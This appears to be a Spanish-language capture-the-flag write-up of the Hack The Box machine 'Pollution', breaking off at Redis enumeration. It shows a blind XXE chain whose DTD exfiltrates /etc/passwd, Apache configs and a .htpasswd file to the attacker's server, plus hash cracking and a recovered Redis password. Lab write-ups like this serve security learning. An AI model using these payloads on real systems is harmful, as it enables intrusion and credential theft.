Hack The Box: Pollution Writeup | Hard

Table of Contents

Hack The Box: Pollution Writeup

Welcome to my detailed writeup of the hard difficulty machine “Pollution” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.228.126 --ulimit 5000 -g
210.129.228.126 -> [22,6379,80]
 1$ nmap -p22,6379,80 -sCV 10.129.228.126 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 20:27 CEST
 3Nmap scan report for forum.collect.htb (10.129.228.126)
 4Host is up (0.036s latency).
 5
 6PORT     STATE SERVICE VERSION
 722/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 db:1d:5c:65:72:9b:c6:43:30:a5:2b:a0:f0:1a:d5:fc (RSA)
10|   256 4f:79:56:c5:bf:20:f9:f1:4b:92:38:ed:ce:fa:ac:78 (ECDSA)
11|_  256 df:47:55:4f:4a:d1:78:a8:9d:cd:f8:a0:2f:c0:fc:a9 (ED25519)
1280/tcp   open  http    Apache httpd 2.4.54 ((Debian))
13|_http-title: Forums
14|_http-server-header: Apache/2.4.54 (Debian)
156379/tcp open  redis   Redis key-value store
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 18.23 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU -n -Pn --min-rate 5000 10.129.228.126 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 18:50 CEST
 3Nmap scan report for 10.129.228.126
 4Host is up (0.037s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 7539/udp   closed apertus-ldp
 81053/udp  closed remote-as
 91058/udp  closed nim
1026254/udp closed unknown
1149171/udp closed unknown
1249350/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

Redis Enumeration

No podemos enumerar Redis porque requiere autenticación.

1$ redis-cli -h collect.htb
2collect.htb:6379> KEYS *
3(error) NOAUTH Authentication required.

HTTP Enumeration

whatweb nos reporta un correo electrónico en el cual podemos ver un dominio llamado collect.htb, lo añadimos al /etc/hosts

1$ whatweb http://10.129.228.126
2http://10.129.228.126 [200 OK] Apache[2.4.54], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[info@collect.htb], HTML5, HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], IP[10.129.228.126], JQuery[2.1.0], Lightbox, Script, Title[Home]

El whatweb hacia el dominio encontrado no nos reporta nada diferente, por lo cual quizás no se está aplicando virtual hosting.

1$ whatweb http://collect.htb
2http://collect.htb [200 OK] Apache[2.4.54], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[info@collect.htb], HTML5, HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], IP[10.129.228.126], JQuery[2.1.0], Lightbox, Script, Title[Home]

Así se ve el sitio web. Write-up Image

Analizando el sitio web encontramos esto, quizás exista una API por detrás. Write-up Image

También encontramos parte del equipo, por lo cual podemos hacernos una lista de usuarios que siempre es útil. Write-up Image

1$ cat users.txt 
2white cheese
3snow mary
4johnny egg
5catherine phyu
6shao lynn
7emma honey
8olivia sofie

Mas adelante si lo necesitamos crearemos variaciones de estos usuarios.

También encontramos un formulario de registro bajo /register Write-up Image

Vemos que tampoco encontramos una funcionalidad adicional Write-up Image

Fuzzeando este sitio con la cookie de sesión no encontré nada relevante.

Enumerating Subdomains

Con wfuzz vamos a intentar descubrir subdominios.

 1$ wfuzz --hh=26194 -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.collect.htb' http://collect.htb
 2
 3********************************************************
 4* Wfuzz 3.1.0 - The Web Fuzzer                         *
 5********************************************************
 6
 7Target: http://collect.htb/
 8Total requests: 114441
 9
10=====================================================================
11ID           Response   Lines    Word       Chars       Payload                  
12=====================================================================
13
14000000023:   200        336 L    1220 W     14098 Ch    "forum"     
15000002341:   401        14 L     54 W       469 Ch      "developers"

Encontramos el subdominio forum.collect.htb, y el subdominio developers.collect.htb los añadimos al /etc/hosts

Enumerating developers.collect.htb

Write-up Image

No puedo hacer nada por ahora.

Enumerating forum.collect.htb

Podemos ver una instancia de MyBB

Is a free and open-source forum software developed by the MyBB Group. It is written in PHP, supports MariaDB, MySQL, PostgreSQL and SQLite as database systems and, in addition, has database failover support.

Write-up Image

Podemos enumerar los usuarios del foro bajo /memberlist.php Write-up Image

Actualizamos nuestra lista de usuarios.

 1 cat users.txt 
 2white cheese
 3snow mary
 4johnny egg
 5catherine phyu
 6shao lynn
 7emma honey
 8olivia sofie
 9administrator_forum
10john
11victor
12sysadmin
13jeorge
14jane
15karldev
16lyon

Encontramos una vulnerabilidad relevante pero necesitamos tener acceso al panel de administración. https://www.exploit-db.com/exploits/51213

Enumerando el foro encontramos un post interesante.

Donde un usuario tiene un problema intentando iniciar sesión a la API y el sysadmin le pide las solicitudes.

Quizás podamos ver credenciales o algún tipo de token de autenticación. Write-up Image

Podemos ver este archivo por consola.

Es un archivo xml. Write-up Image

Lo guardamos a un archivo y con batcat podemos verlo de una forma mas cómoda y bonita.

1$ batcat proxy.xml

Analizando el fichero encontramos dos cosas interesantes. Una petición a un servicio interno en el puerto 3000, así que sabemos que hay un servicio interno. Utiliza de credenciales user:pass por lo cual no creo que sean válidas. Write-up Image

Y también encontramos una solicitud POST a http://collect.htb/set/role/admin donde se le está pasando un token.. Write-up Image

Podemos probar a hacer la misma solicitud tanto como está como utilizando formato JSON pero no obtenemos respuesta del servidor.

 1$ curl -v -X POST http://collect.htb/set/role/admin -H "Content-Type: application/json" -d '{"token": "ddac62a28254561001277727cb397baf"}'
 2Note: Unnecessary use of -X or --request, POST is already inferred.
 3* Host collect.htb:80 was resolved.
 4* IPv6: (none)
 5* IPv4: 10.129.228.126
 6*   Trying 10.129.228.126:80...
 7* Connected to collect.htb (10.129.228.126) port 80
 8> POST /set/role/admin HTTP/1.1
 9> Host: collect.htb
10> User-Agent: curl/8.9.1
11> Accept: */*
12> Content-Type: application/json
13> Content-Length: 45
14> 
15* upload completely sent off: 45 bytes
16< HTTP/1.1 302 Found
17< Date: Fri, 13 Sep 2024 15:26:45 GMT
18< Server: Apache/2.4.54 (Debian)
19< Expires: Thu, 19 Nov 1981 08:52:00 GMT
20< Cache-Control: no-store, no-cache, must-revalidate
21< Pragma: no-cache
22< Set-Cookie: PHPSESSID=9r7i8f7fdugj0kk1d6trp52sl6; path=/
23< Location: /home
24< Content-Length: 0
25< Content-Type: text/html; charset=UTF-8
26< 
27* Connection #0 to host collect.htb left intact
 1$ curl -v -X POST http://collect.htb/set/role/admin -H "Content-Type: application/x-www-form-urlencoded" -d "token=ddac62a28254561001277727cb397baf"  
 2Note: Unnecessary use of -X or --request, POST is already inferred.                                                                                           
 3* Host collect.htb:80 was resolved.                                                                                                                           
 4* IPv6: (none)                                                                                                                                                
 5* IPv4: 10.129.228.126                                                                                                                                        
 6*   Trying 10.129.228.126:80...                                                                                                                               
 7* Connected to collect.htb (10.129.228.126) port 80                                                                                                           
 8> POST /set/role/admin HTTP/1.1                                                                                                                               
 9> Host: collect.htb                                                                                                                                           
10> User-Agent: curl/8.9.1                                                                                                                                      
11> Accept: */*                                                                                                                                                 
12> Content-Type: application/x-www-form-urlencoded                                                                                                             
13> Content-Length: 38                                                                                                                                          
14>                                                                                                                                                             
15* upload completely sent off: 38 bytes                                                                                                                        
16< HTTP/1.1 302 Found                                                                                                                                          
17< Date: Fri, 13 Sep 2024 15:26:37 GMT                                                                                                                         
18< Server: Apache/2.4.54 (Debian)                                                                                                                              
19< Expires: Thu, 19 Nov 1981 08:52:00 GMT                                                                                                                      
20< Cache-Control: no-store, no-cache, must-revalidate                                                                                                          
21< Pragma: no-cache                                                                                                                                            
22< Set-Cookie: PHPSESSID=eh6r24lquctpqilu7gr0sooomf; path=/                                                                                                    
23< Location: /home                                                                                                                                             
24< Content-Length: 0                                                                                                                                           
25< Content-Type: text/html; charset=UTF-8                                                                                                                      
26< 
27* Connection #0 to host collect.htb left intact

Buscando la lógica podemos deducir que el endpoint /set/role/admin lo que hace es convertir en administrador un usuario utilizando el token, pero, ¿Qué usuario? la única forma de identificar el usuario es mediante el PHPSESSID

Entonces, si queremos convertir a nuestro usuario en administrador podemos intentar hacer la solicitud pero utilizando nuestro PHPSESSID

 1$ curl -v -X POST http://collect.htb/set/role/admin -d token=ddac62a28254561001277727cb397baf --cookie "PHPSESSID=gi2c1krg228jkg5gpvv9pibog4"
 2Note: Unnecessary use of -X or --request, POST is already inferred.
 3* Host collect.htb:80 was resolved.
 4* IPv6: (none)
 5* IPv4: 10.129.228.126
 6*   Trying 10.129.228.126:80...
 7* Connected to collect.htb (10.129.228.126) port 80
 8> POST /set/role/admin HTTP/1.1
 9> Host: collect.htb
10> User-Agent: curl/8.9.1
11> Accept: */*
12> Cookie: PHPSESSID=gi2c1krg228jkg5gpvv9pibog4
13> Content-Length: 38
14> Content-Type: application/x-www-form-urlencoded
15> 
16* upload completely sent off: 38 bytes
17< HTTP/1.1 302 Found
18< Date: Fri, 13 Sep 2024 15:35:01 GMT
19< Server: Apache/2.4.54 (Debian)
20< Expires: Thu, 19 Nov 1981 08:52:00 GMT
21< Cache-Control: no-store, no-cache, must-revalidate
22< Pragma: no-cache
23< Location: /admin
24< Content-Length: 0
25< Content-Type: text/html; charset=UTF-8
26< 
27* Connection #0 to host collect.htb left intact

Y vemos que ocurre un 302 redirect a /admin Write-up Image

Ahora podemos acceder a este panel administrativo.

Vemos un formulario para registrar un usuario en la API. Write-up Image

Write-up Image

External XML Entity Injection

Si con burpsuite interceptamos la petición, vemos que la data se está tramitando en XML. Write-up Image

Podemos probar a ver si se acontece un XXE. Write-up Image

Vemos un error de sintaxis, esto es porque debemos de URL-Encodear el payload.

Write-up Image

Vemos que nos devuelve un Ok pero no nos reporta ninguna información.

Podemos probar varias técnicas y payloads.

Encontramos en PayloadAllTheThings un payload para un Blind XXE en la cual se utiliza una técnica para exfiltrar la data a un servidor web.

1<?xml version="1.0" ?>
2<!DOCTYPE root [
3<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
4]>
5<r></r>

Si utilizamos este payload para comprobar si el blind XXE funciona vemos que el servidor nos devuelve un 200 OK. Write-up Image

Y nos llega una solicitud.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 19:54:33] code 404, message File not found
410.129.228.126 - - [13/Sep/2024 19:54:33] "GET /x HTTP/1.1" 404 -

Esto significa que es vulnerable.

Podemos probar el payload en la sección ### XXE OOB with DTD and PHP filter

 1<?xml version="1.0" ?>
 2<!DOCTYPE r [
 3<!ELEMENT r ANY >
 4<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
 5%sp;
 6%param1;
 7]>
 8<r>&exfil;</r>
 9
10File stored on http://127.0.0.1/dtd.xml
11<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
12<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

Entonces creamos un DTD llamado dtd.xml en el cual vamos a intentar exfiltrar el archivo index.php. Si todo sale bien debería de llegarnos una solicitud en la cual se descarga el DTD y luego otra con el archivo codificado en base64.

1<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
2<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.104:8081/dtd.xml?%data;'>">

Ahora enviamos este payload al servidor.

1<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//10.10.14.104%3a8081/dtd.xml">%25sp%3b%25param1%3b]><r>%26exfil%3b</r>

Y vemos que nos llega algo.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:05:06] "GET /dtd.xml HTTP/1.1" 200 -
410.129.228.126 - - [13/Sep/2024 20:05:06] "GET /dtd.xml?PD9waHAKCnJlcXVpcmUgJy4uL2Jvb3RzdHJhcC5waHAnOwoKdXNlIGFwcFxjbGFzc2VzXFJvdXRlczsKdXNlIGFwcFxjbGFzc2VzXFVyaTsKCgokcm91dGVzID0gWwogICAgIi8iID0+ICJjb250cm9sbGVycy9pbmRleC5waHAiLAogICAgIi9sb2dpbiIgPT4gImNvbnRyb2xsZXJzL2xvZ2luLnBocCIsCiAgICAiL3JlZ2lzdGVyIiA9PiAiY29udHJvbGxlcnMvcmVnaXN0ZXIucGhwIiwKICAgICIvaG9tZSIgPT4gImNvbnRyb2xsZXJzL2hvbWUucGhwIiwKICAgICIvYWRtaW4iID0+ICJjb250cm9sbGVycy9hZG1pbi5waHAiLAogICAgIi9hcGkiID0+ICJjb250cm9sbGVycy9hcGkucGhwIiwKICAgICIvc2V0L3JvbGUvYWRtaW4iID0+ICJjb250cm9sbGVycy9zZXRfcm9sZV9hZG1pbi5waHAiLAogICAgIi9sb2dvdXQiID0+ICJjb250cm9sbGVycy9sb2dvdXQucGhwIgpdOwoKJHVyaSA9IFVyaTo6bG9hZCgpOwpyZXF1aXJlIFJvdXRlczo6bG9hZCgkdXJpLCAkcm91dGVzKTsK HTTP/1.1" 200 -

Al decodificarlo vemos varios archivos interesantes.

 1$ echo "PD9waHAKCnJlcXVpcmUgJy4uL2Jvb3RzdHJhcC5waHAnOwoKdXNlIGFwcFxjbGFzc2VzXFJvdXRlczsKdXNlIGFwcFxjbGFzc2VzXFVyaTsKCgokcm91dGVzID0gWwogICAgIi8iID0+ICJjb250cm9sbGVycy9pbmRleC5waHAiLAogICAgIi9sb2dpbiIgPT4gImNvbnRyb2xsZXJzL2xvZ2luLnBocCIsCiAgICAiL3JlZ2lzdGVyIiA9PiAiY29udHJvbGxlcnMvcmVnaXN0ZXIucGhwIiwKICAgICIvaG9tZSIgPT4gImNvbnRyb2xsZXJzL2hvbWUucGhwIiwKICAgICIvYWRtaW4iID0+ICJjb250cm9sbGVycy9hZG1pbi5waHAiLAogICAgIi9hcGkiID0+ICJjb250cm9sbGVycy9hcGkucGhwIiwKICAgICIvc2V0L3JvbGUvYWRtaW4iID0+ICJjb250cm9sbGVycy9zZXRfcm9sZV9hZG1pbi5waHAiLAogICAgIi9sb2dvdXQiID0+ICJjb250cm9sbGVycy9sb2dvdXQucGhwIgpdOwoKJHVyaSA9IFVyaTo6bG9hZCgpOwpyZXF1aXJlIFJvdXRlczo6bG9hZCgkdXJpLCAkcm91dGVzKTsK" | base64 -d
 2<?php
 3
 4require '../bootstrap.php';
 5
 6use app\classes\Routes;
 7use app\classes\Uri;
 8
 9
10$routes = [
11    "/" => "controllers/index.php",
12    "/login" => "controllers/login.php",
13    "/register" => "controllers/register.php",
14    "/home" => "controllers/home.php",
15    "/admin" => "controllers/admin.php",
16    "/api" => "controllers/api.php",
17    "/set/role/admin" => "controllers/set_role_admin.php",
18    "/logout" => "controllers/logout.php"
19];
20
21$uri = Uri::load();
22require Routes::load($uri, $routes);

Pero primero necesito saber cual es la ruta de el sitio web por lo cual vamos a ver el fichero /etc/apache2/sites-enabled/000-default.conf

Modificamos el DTD.

1<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf">
2<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.104:8081/dtd.xml?%data;'>">

Pero no recibimos nada.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:10:01] "GET /dtd.xml HTTP/1.1" 200 -

Siguiendo el estándar para los ficheros de configuración de Apache podemos probar a conseguir el archivo ``collect.htb.conf

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:11:03] "GET /dtd.xml HTTP/1.1" 200 -
410.129.228.126 - - [13/Sep/2024 20:11:03] "GET /dtd.xml?PFZpcnR1YWxIb3N0ICo6ODA+CgkjIFRoZSBTZXJ2ZXJOYW1lIGRpcmVjdGl2ZSBzZXRzIHRoZSByZXF1ZXN0IHNjaGVtZSwgaG9zdG5hbWUgYW5kIHBvcnQgdGhhdAoJIyB0aGUgc2VydmVyIHVzZXMgdG8gaWRlbnRpZnkgaXRzZWxmLiBUaGlzIGlzIHVzZWQgd2hlbiBjcmVhdGluZwoJIyByZWRpcmVjdGlvbiBVUkxzLiBJbiB0aGUgY29udGV4dCBvZiB2aXJ0dWFsIGhvc3RzLCB0aGUgU2VydmVyTmFtZQoJIyBzcGVjaWZpZXMgd2hhdCBob3N0bmFtZSBtdXN0IGFwcGVhciBpbiB0aGUgcmVxdWVzdCdzIEhvc3Q6IGhlYWRlciB0bwoJIyBtYXRjaCB0aGlzIHZpcnR1YWwgaG9zdC4gRm9yIHRoZSBkZWZhdWx0IHZpcnR1YWwgaG9zdCAodGhpcyBmaWxlKSB0aGlzCgkjIHZhbHVlIGlzIG5vdCBkZWNpc2l2ZSBhcyBpdCBpcyB1c2VkIGFzIGEgbGFzdCByZXNvcnQgaG9zdCByZWdhcmRsZXNzLgoJIyBIb3dldmVyLCB5b3UgbXVzdCBzZXQgaXQgZm9yIGFueSBmdXJ0aGVyIHZpcnR1YWwgaG9zdCBleHBsaWNpdGx5LgoJI1NlcnZlck5hbWUgd3d3LmV4YW1wbGUuY29tCgoJU2VydmVyQWRtaW4gd2VibWFzdGVyQGxvY2FsaG9zdAoJU2VydmVyTmFtZSBjb2xsZWN0Lmh0YgoJRG9jdW1lbnRSb290IC92YXIvd3d3L2NvbGxlY3QvcHVibGljCgoJIyBBdmFpbGFibGUgbG9nbGV2ZWxzOiB0cmFjZTgsIC4uLiwgdHJhY2UxLCBkZWJ1ZywgaW5mbywgbm90aWNlLCB3YXJuLAoJIyBlcnJvciwgY3JpdCwgYWxlcnQsIGVtZXJnLgoJIyBJdCBpcyBhbHNvIHBvc3NpYmxlIHRvIGNvbmZpZ3VyZSB0aGUgbG9nbGV2ZWwgZm9yIHBhcnRpY3VsYXIKCSMgbW9kdWxlcywgZS5nLgoJI0xvZ0xldmVsIGluZm8gc3NsOndhcm4KCglFcnJvckxvZyAke0FQQUNIRV9MT0dfRElSfS9lcnJvci5sb2cKCUN1c3RvbUxvZyAke0FQQUNIRV9MT0dfRElSfS9hY2Nlc3MubG9nIGNvbWJpbmVkCgoJIyBGb3IgbW9zdCBjb25maWd1cmF0aW9uIGZpbGVzIGZyb20gY29uZi1hdmFpbGFibGUvLCB3aGljaCBhcmUKCSMgZW5hYmxlZCBvciBkaXNhYmxlZCBhdCBhIGdsb2JhbCBsZXZlbCwgaXQgaXMgcG9zc2libGUgdG8KCSMgaW5jbHVkZSBhIGxpbmUgZm9yIG9ubHkgb25lIHBhcnRpY3VsYXIgdmlydHVhbCBob3N0LiBGb3IgZXhhbXBsZSB0aGUKCSMgZm9sbG93aW5nIGxpbmUgZW5hYmxlcyB0aGUgQ0dJIGNvbmZpZ3VyYXRpb24gZm9yIHRoaXMgaG9zdCBvbmx5CgkjIGFmdGVyIGl0IGhhcyBiZWVuIGdsb2JhbGx5IGRpc2FibGVkIHdpdGggImEyZGlzY29uZiIuCgkjSW5jbHVkZSBjb25mLWF2YWlsYWJsZS9zZXJ2ZS1jZ2ktYmluLmNvbmYKPC9WaXJ0dWFsSG9zdD4KCiMgdmltOiBzeW50YXg9YXBhY2hlIHRzPTQgc3c9NCBzdHM9NCBzciBub2V0Cg== HTTP/1.1" 200 -

Decodificando el fichero encontramos la ruta de la aplicación, /var/www/collect/public Write-up Image

No conseguí ningún archivo interesante de los controladores.

Pero recordemos que bajo developers.collect.htb se requería autenticación y era HTTP-Basic, por lo cual el hash de la contraseña debe de guardarse en un fichero .htpasswd y este se especifica en el archivo de configuración..

Así que podemos probar a filtrar el archivo /etc/apache2/sites-enabled/developers.collect.htb.conf

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:15:28] "GET /dtd.xml HTTP/1.1" 200 -
410.129.228.126 - - [13/Sep/2024 20:15:28] "GET /dtd.xml?PFZpcnR1YWxIb3N0ICo6ODA+CgkjIFRoZSBTZXJ2ZXJOYW1lIGRpcmVjdGl2ZSBzZXRzIHRoZSByZXF1ZXN0IHNjaGVtZSwgaG9zdG5hbWUgYW5kIHBvcnQgdGhhdAoJIyB0aGUgc2VydmVyIHVzZXMgdG8gaWRlbnRpZnkgaXRzZWxmLiBUaGlzIGlzIHVzZWQgd2hlbiBjcmVhdGluZwoJIyByZWRpcmVjdGlvbiBVUkxzLiBJbiB0aGUgY29udGV4dCBvZiB2aXJ0dWFsIGhvc3RzLCB0aGUgU2VydmVyTmFtZQoJIyBzcGVjaWZpZXMgd2hhdCBob3N0bmFtZSBtdXN0IGFwcGVhciBpbiB0aGUgcmVxdWVzdCdzIEhvc3Q6IGhlYWRlciB0bwoJIyBtYXRjaCB0aGlzIHZpcnR1YWwgaG9zdC4gRm9yIHRoZSBkZWZhdWx0IHZpcnR1YWwgaG9zdCAodGhpcyBmaWxlKSB0aGlzCgkjIHZhbHVlIGlzIG5vdCBkZWNpc2l2ZSBhcyBpdCBpcyB1c2VkIGFzIGEgbGFzdCByZXNvcnQgaG9zdCByZWdhcmRsZXNzLgoJIyBIb3dldmVyLCB5b3UgbXVzdCBzZXQgaXQgZm9yIGFueSBmdXJ0aGVyIHZpcnR1YWwgaG9zdCBleHBsaWNpdGx5LgoJI1NlcnZlck5hbWUgd3d3LmV4YW1wbGUuY29tCgoJU2VydmVyQWRtaW4gY29sbGVjdEBsb2NhbGhvc3QKCVNlcnZlck5hbWUgZGV2ZWxvcGVycy5jb2xsZWN0Lmh0YgoJRG9jdW1lbnRSb290IC92YXIvd3d3L2RldmVsb3BlcnMKCgkjIEF2YWlsYWJsZSBsb2dsZXZlbHM6IHRyYWNlOCwgLi4uLCB0cmFjZTEsIGRlYnVnLCBpbmZvLCBub3RpY2UsIHdhcm4sCgkjIGVycm9yLCBjcml0LCBhbGVydCwgZW1lcmcuCgkjIEl0IGlzIGFsc28gcG9zc2libGUgdG8gY29uZmlndXJlIHRoZSBsb2dsZXZlbCBmb3IgcGFydGljdWxhcgoJIyBtb2R1bGVzLCBlLmcuCgkjTG9nTGV2ZWwgaW5mbyBzc2w6d2FybgoKCTxEaXJlY3RvcnkgIi92YXIvd3d3L2RldmVsb3BlcnMiPgoJCUF1dGhUeXBlIEJhc2ljCgkJQXV0aE5hbWUgIlJlc3RyaWN0ZWQgQ29udGVudCIKCQlBdXRoVXNlckZpbGUgL3Zhci93d3cvZGV2ZWxvcGVycy8uaHRwYXNzd2QKCQlSZXF1aXJlIHZhbGlkLXVzZXIKCTwvRGlyZWN0b3J5PgoJCgoJRXJyb3JMb2cgJHtBUEFDSEVfTE9HX0RJUn0vZXJyb3IubG9nCglDdXN0b21Mb2cgJHtBUEFDSEVfTE9HX0RJUn0vYWNjZXNzLmxvZyBjb21iaW5lZAoKCSMgRm9yIG1vc3QgY29uZmlndXJhdGlvbiBmaWxlcyBmcm9tIGNvbmYtYXZhaWxhYmxlLywgd2hpY2ggYXJlCgkjIGVuYWJsZWQgb3IgZGlzYWJsZWQgYXQgYSBnbG9iYWwgbGV2ZWwsIGl0IGlzIHBvc3NpYmxlIHRvCgkjIGluY2x1ZGUgYSBsaW5lIGZvciBvbmx5IG9uZSBwYXJ0aWN1bGFyIHZpcnR1YWwgaG9zdC4gRm9yIGV4YW1wbGUgdGhlCgkjIGZvbGxvd2luZyBsaW5lIGVuYWJsZXMgdGhlIENHSSBjb25maWd1cmF0aW9uIGZvciB0aGlzIGhvc3Qgb25seQoJIyBhZnRlciBpdCBoYXMgYmVlbiBnbG9iYWxseSBkaXNhYmxlZCB3aXRoICJhMmRpc2NvbmYiLgoJI0luY2x1ZGUgY29uZi1hdmFpbGFibGUvc2VydmUtY2dpLWJpbi5jb25mCjwvVmlydHVhbEhvc3Q+CgojIHZpbTogc3ludGF4PWFwYWNoZSB0cz00IHN3PTQgc3RzPTQgc3Igbm9ldAo= HTTP/1.1" 200 -

Y encontramos lo siguiente.

1<Directory "/var/www/developers">
2                AuthType Basic
3                AuthName "Restricted Content"
4                AuthUserFile /var/www/developers/.htpasswd
5                Require valid-user
6        </Directory>

Vamos a intentar filtrar el archivo /var/www/developers/.htpasswd

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:16:17] "GET /dtd.xml HTTP/1.1" 200 -
410.129.228.126 - - [13/Sep/2024 20:16:17] "GET /dtd.xml?ZGV2ZWxvcGVyc19ncm91cDokYXByMSRNektBNXlYWSREd0V6Lmp4VzlVU1dvOC5nb0Q3alkxCg== HTTP/1.1" 200 -

Y encontramos un hash.

1$ echo "ZGV2ZWxvcGVyc19ncm91cDokYXByMSRNektBNXlYWSREd0V6Lmp4VzlVU1dvOC5nb0Q3alkxCg==" | base64 -d
2developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1

Cracking Apache Hash

Con haschat podemos intentar este hash.

Podemos encontrar el modo en el que debemos crackearlo según el formato. Write-up Image

Y ahora podemos crackearlo.

 1C:\Users\pc\Desktop\hashcat-6.2.6>.\hashcat.exe -a 0 -m 1600 .\hash.txt .\rockyou.txt
 2...
 3$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket
 4
 5Session..........: hashcat
 6Status...........: Cracked
 7Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
 8Hash.Target......: $apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
 9Time.Started.....: Fri Sep 13 18:18:33 2024 (2 secs)
10Time.Estimated...: Fri Sep 13 18:18:35 2024 (0 secs)
11Kernel.Feature...: Pure Kernel
12Guess.Base.......: File (.\rockyou.txt)
13Guess.Queue......: 1/1 (100.00%)
14Speed.#1.........:   136.7 kH/s (18.93ms) @ Accel:4 Loops:125 Thr:256 Vec:1
15Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
16Progress.........: 221184/14344387 (1.54%)
17Rejected.........: 0/221184 (0.00%)
18Restore.Point....: 184320/14344387 (1.28%)
19Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
20Candidate.Engine.: Device Generator
21Candidates.#1....: joan07 -> froggy27
22Hardware.Mon.#1..: Temp: 56c Fan: 35% Util: 11% Core:1533MHz Mem:2000MHz Bus:8

Vemos que la credencial es r0cket

developers.collect.htb

Ahora que tenemos credenciales podemos iniciar sesión. developers_group:r0cket

Y necesitamos una segunda autenticación. Write-up Image

XXE (again)

Después de probar la credencial con todos los archivos no conseguí iniciar sesión.

Así que vamos a intentar conseguir el index.php de este sitio web, quizás las credenciales están hardcodeadas.

Vamos a recuperar el archivo /var/www/developers/login.php

Y no podemos recuperarlo.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:23:20] "GET /dtd.xml HTTP/1.1" 200 -

Vamos a probar el index.php y este si que lo podemos recuperar.

 1<?php                                                                                                                                                                                                                                         
 2require './bootstrap.php';                                                                                                                                                                                                                    
 3                                                                                                                                                                                                                                              
 4                                                                                                                                                                                                                                              
 5if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {                                                                                                                                                                                 
 6    die(header('Location: /login.php'));                                                                                                                                                                                                      
 7}                                                                                                                                                                                                                                             
 8                                                                                                                                                                                                                                              
 9if (!isset($_GET['page']) or empty($_GET['page'])) {                                                                                                                                                                                          
10    die(header('Location: /?page=home'));                                                                                                                                                                                                     
11}                                                                                                                                                                                                                                             
12                                                                                                                                                                                                                                              
13$view = 1;                                                                                                                                                                                                                                    
14                                                                                                                                                                                                                                              
15?>                                                                                                                                                                                                                                            
16                                                                                                                                                                                                                                              
17<!DOCTYPE html>                                                                                                                                                                                                                               
18<html lang="en">                                                                                                                                                                                                                              
19                                                                                                                                                              
20<head>                                                                                                                                                        
21    <meta charset="UTF-8">                                                                                                                                    
22    <meta http-equiv="X-UA-Compatible" content="IE=edge">                                                                                                     
23    <meta name="viewport" content="width=device-width, initial-scale=1.0">                                                                                    
24    <script src="assets/js/tailwind.js"></script>                                                                                                             
25    <title>Developers Collect</title>                                                                                                                         
26</head>                                                                                                                                                       
27                                                                                                                                                              
28<body>                                                                                                                                                        
29    <div class="flex flex-col h-screen justify-between">                                                                                                      
30        <?php include("header.php"); ?>                                                                                                                       
31                                                                                                                                                              
32        <main class="mb-auto mx-24">                                                                                                                          
33            <?php include($_GET['page'] . ".php"); ?>                                                                                                         
34        </main>                                                                                                                                               
35                                                                                                                                                              
36        <?php include("footer.php"); ?>                                                                                                                       
37    </div>                                                                                                                                                    
38                                                                                                                                                              
39</body>                                                                                                                                                       
40                                                                                                                                                              
41</html>

Me llamo la atención el bootstrap.php ya que este fichero se suele utilizar para las configuraciones de los sitios web.

1<?php
2
3ini_set('session.save_handler', 'redis');
4ini_set('session.save_path', 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');
5
6session_start();

Y encontramos una credencial, COLLECTR3D1SPASS para Redis.

Redis Enumeration

